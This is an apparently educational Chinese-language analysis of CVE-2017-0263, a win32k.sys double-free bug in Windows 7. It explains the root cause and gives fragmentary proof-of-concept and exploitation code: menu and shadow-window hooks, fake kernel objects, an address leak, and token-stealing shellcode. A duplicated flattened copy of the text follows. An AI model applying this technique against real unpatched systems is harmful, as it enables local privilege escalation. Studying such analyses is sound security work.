CVE-2017-0263 Win32k漏洞分析笔记
字数 1346 2025-08-06 08:35:39

Win32k漏洞分析:CVE-2017-0263 UAF漏洞深入解析

漏洞概述

CVE-2017-0263是Windows内核组件win32k.sys中的一个Use-After-Free (UAF)漏洞,具体表现为Double Free问题。该漏洞存在于菜单状态处理过程中,允许攻击者在特定条件下通过精心构造的菜单操作导致内核内存被重复释放,最终可能实现权限提升。

环境配置

  • 操作系统: Windows 7 x86 SP1
  • 调试工具: WinDbg Preview 1.0.2001.02001

漏洞分析

BSOD分析

当运行PoC时,系统会因Double Free导致蓝屏。关键错误信息显示:

fe8733e8 这块幸运内存被释放了两次,成功造成了Double Free

调用链如下:

nt!ExFreePoolWithTag -> win32k!MNFreePopup -> win32k!xxxMNEndMenuState

关键函数分析

xxxMNEndMenuState函数

void xxxMNEndMenuState(BOOL fFreePopup) {
    PTHREADINFO ptiCurrent = PtiCurrent();
    PMENUSTATE pMenuState;
    pMenuState = ptiCurrent->pMenuState;
    
    if(pMenuState->pGlobalPopupMenu != NULL) {
        if(fFreePopup) {
            MNFreePopup(pMenuState->pGlobalPopupMenu);
        } else {
            pMenuState->pGlobalPopupMenu->fDelayedFree = FALSE;
        }
    }
    
    UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);
    UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);
    ptiCurrent->pMenuState = pMenuState->pmnsPrev;
}

漏洞成因:

  1. 函数释放pGlobalPopupMenu后没有及时置空,导致悬挂指针
  2. 在重置pMenuState前,函数会解锁uButtonDownHitAreauDraggingHitArea
  3. 通过构造特殊菜单窗口对象,可以在解锁过程中再次取得控制权,导致Double Free

漏洞触发流程

  1. 第一次释放

    • 通过发送MN_ENDMENU(0x1F3)消息触发xxxMNEndMenuState
    • 调用MNFreePopup(pMenuState->pGlobalPopupMenu)释放内存
  2. 第二次释放

    • 利用阴影窗口机制
    • 在释放uButtonDownHitArea时关联的阴影窗口对象也会被释放
    • 通过hook阴影窗口的消息处理函数,再次触发xxxMNEndMenuState
    • 导致同一块内存被第二次释放

PoC分析

准备工作

  1. 创建菜单结构
HMENU hpopupMenu[2] = {0};
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();

// 设置菜单样式:自动消失、非模态、可拖放
MENUINFO mi = {0};
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);

// 添加菜单项
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], "item");
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, "item");
  1. 设置Hook
// 创建主窗口
HWND hWindowMain = CreateWindowExW(...);

// 设置窗口Hook
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());

// 设置事件Hook
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, 
               GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), 
               GetCurrentThreadId(), 0);

第一次释放触发

TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);

事件处理流程:

  1. TrackPopupMenuEx创建菜单窗口
  2. 触发EVENT_SYSTEM_MENUPOPUPSTART事件
  3. xxWindowEventProc中发送MN_ENDMENU消息
  4. 调用xxxMNEndMenuState进行第一次释放

第二次释放触发

关键点在于阴影窗口的处理:

// 阴影窗口Hook处理函数
LRESULT CALLBACK xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) {
    tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam;
    if(cwp->message != WM_NCCREATE) return CallNextHookEx(0, code, wParam, lParam);
    
    WCHAR szTemp[0x20] = {0};
    GetClassNameW(cwp->hwnd, szTemp, 0x14);
    
    if(!wcscmp(szTemp, L"#32768")) {
        hwndMenuHit = cwp->hwnd;
    }
    
    if(!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL) {
        iShadowCount++;
        if(iShadowCount == 3) {
            // Hook第三个阴影窗口的消息处理函数
            SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
        } else {
            // 隐藏再显示以创建更多阴影窗口
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE|SWP_NOMOVE|SWP_NOZORDER|SWP_HIDEWINDOW);
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE|SWP_NOMOVE|SWP_NOZORDER|SWP_SHOWWINDOW);
        }
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

漏洞利用

利用准备

  1. Shellcode结构
typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_CLS_lpszMenuName;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    PVOID tagCLS[0x100];
    BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
  1. 内存分配
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);

伪造对象

  1. 伪造根弹出菜单对象
DWORD dwPopupFake[0xD] = {0};
dwPopupFake[0x0] = (DWORD)0x00098208;  //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake;  //->spwndNotify
// ... 其他成员初始化
  1. 设置窗口类
for(UINT i = 0; i < iWindowCount; ++i) {
    SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}

内核地址泄露

通过HMValidateHandle获取内核对象地址:

PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;

内核代码执行

  1. 设置窗口过程
pvAddrFlags = *(PBYTE*)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
  1. 触发执行
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;

Shellcode功能

Shellcode主要完成以下任务:

  1. 判断当前执行环境(内核/用户模式)
  2. 恢复窗口标志位
  3. 查找并清空tagCLS->lpszMenuName
  4. 遍历进程链表找到System进程
  5. 复制System进程的Token到当前进程
  6. 增加Token引用计数

总结

CVE-2017-0263漏洞的核心在于:

  1. xxxMNEndMenuState函数释放pGlobalPopupMenu后未及时置空指针
  2. 通过阴影窗口机制和消息Hook实现控制流劫持
  3. 精心构造的菜单操作导致Double Free
  4. 利用内存占位和对象伪造实现权限提升

该漏洞展示了Windows内核中菜单处理机制的复杂性以及UAF漏洞的利用方式,是研究Windows内核安全的典型案例。

Win32k漏洞分析:CVE-2017-0263 UAF漏洞深入解析 漏洞概述 CVE-2017-0263是Windows内核组件win32k.sys中的一个Use-After-Free (UAF)漏洞,具体表现为Double Free问题。该漏洞存在于菜单状态处理过程中,允许攻击者在特定条件下通过精心构造的菜单操作导致内核内存被重复释放,最终可能实现权限提升。 环境配置 操作系统 : Windows 7 x86 SP1 调试工具 : WinDbg Preview 1.0.2001.02001 漏洞分析 BSOD分析 当运行PoC时,系统会因Double Free导致蓝屏。关键错误信息显示: 调用链如下: 关键函数分析 xxxMNEndMenuState函数 : 漏洞成因: 函数释放 pGlobalPopupMenu 后没有及时置空,导致悬挂指针 在重置 pMenuState 前,函数会解锁 uButtonDownHitArea 和 uDraggingHitArea 通过构造特殊菜单窗口对象,可以在解锁过程中再次取得控制权,导致Double Free 漏洞触发流程 第一次释放 : 通过发送 MN_ENDMENU(0x1F3) 消息触发 xxxMNEndMenuState 调用 MNFreePopup(pMenuState->pGlobalPopupMenu) 释放内存 第二次释放 : 利用阴影窗口机制 在释放 uButtonDownHitArea 时关联的阴影窗口对象也会被释放 通过hook阴影窗口的消息处理函数,再次触发 xxxMNEndMenuState 导致同一块内存被第二次释放 PoC分析 准备工作 创建菜单结构 : 设置Hook : 第一次释放触发 事件处理流程: TrackPopupMenuEx 创建菜单窗口 触发 EVENT_SYSTEM_MENUPOPUPSTART 事件 在 xxWindowEventProc 中发送 MN_ENDMENU 消息 调用 xxxMNEndMenuState 进行第一次释放 第二次释放触发 关键点在于阴影窗口的处理: 漏洞利用 利用准备 Shellcode结构 : 内存分配 : 伪造对象 伪造根弹出菜单对象 : 设置窗口类 : 内核地址泄露 通过 HMValidateHandle 获取内核对象地址: 内核代码执行 设置窗口过程 : 触发执行 : Shellcode功能 Shellcode主要完成以下任务: 判断当前执行环境(内核/用户模式) 恢复窗口标志位 查找并清空 tagCLS->lpszMenuName 遍历进程链表找到System进程 复制System进程的Token到当前进程 增加Token引用计数 总结 CVE-2017-0263漏洞的核心在于: xxxMNEndMenuState 函数释放 pGlobalPopupMenu 后未及时置空指针 通过阴影窗口机制和消息Hook实现控制流劫持 精心构造的菜单操作导致Double Free 利用内存占位和对象伪造实现权限提升 该漏洞展示了Windows内核中菜单处理机制的复杂性以及UAF漏洞的利用方式,是研究Windows内核安全的典型案例。